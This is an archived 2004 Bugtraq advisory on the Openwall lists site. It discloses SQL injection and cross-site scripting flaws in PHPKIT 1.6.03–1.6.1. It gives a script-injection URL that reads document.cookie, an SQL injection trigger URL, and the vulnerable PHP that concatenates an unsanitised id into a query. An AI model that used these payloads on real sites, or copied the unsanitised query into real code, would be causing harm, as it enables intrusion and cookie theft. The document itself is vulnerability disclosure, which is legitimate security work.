lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <opshut2v1mwosoee@xion>
Date: Mon, 22 Nov 2004 08:07:33 +0100
From: Steve <steve01@...llo.at>
To: bugtraq@...urityfocus.com
Subject: PHPKIT SQL Injection, XSS



Author:  Steve
Date:    November 22, 2004
Affected Software:PHP KIT
Software Version: 1.6.03 -> 1.6.1
Software URL: http://www.phpkit.de

Attack:  SQL Injection, allowing people to manipulate the query into  
pulling data.
          XSS



############################################################################################################

What is PHPKIT:
PHPKIT is a modular developed Homepage Software which can simple manage  
contents of,
messages,guest book, forums and more.


############################################################################################################

XSS
http://www.target.com/phpkit/popup.php?img="><script>alert(document.cookie)</script>

############################################################################################################

SQL INJECTION
http://www.target.com/phpkit/include.php?path=guestbook/print.php&id=1'


CODE:

<?php
if (isset($_REQUEST['id'])) $id=$_REQUEST['id'];
$gbookinfo=$DB->fetch_array($DB->query("SELECT * FROM ".$db_tab['gbook']."  
WHERE gbook_id='".$id."' LIMIT 1"));
eval ("\$site_body.= \"".getTemplate("guestbook/print")."\";");
?>


############################################################################################################


cya Steve







Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ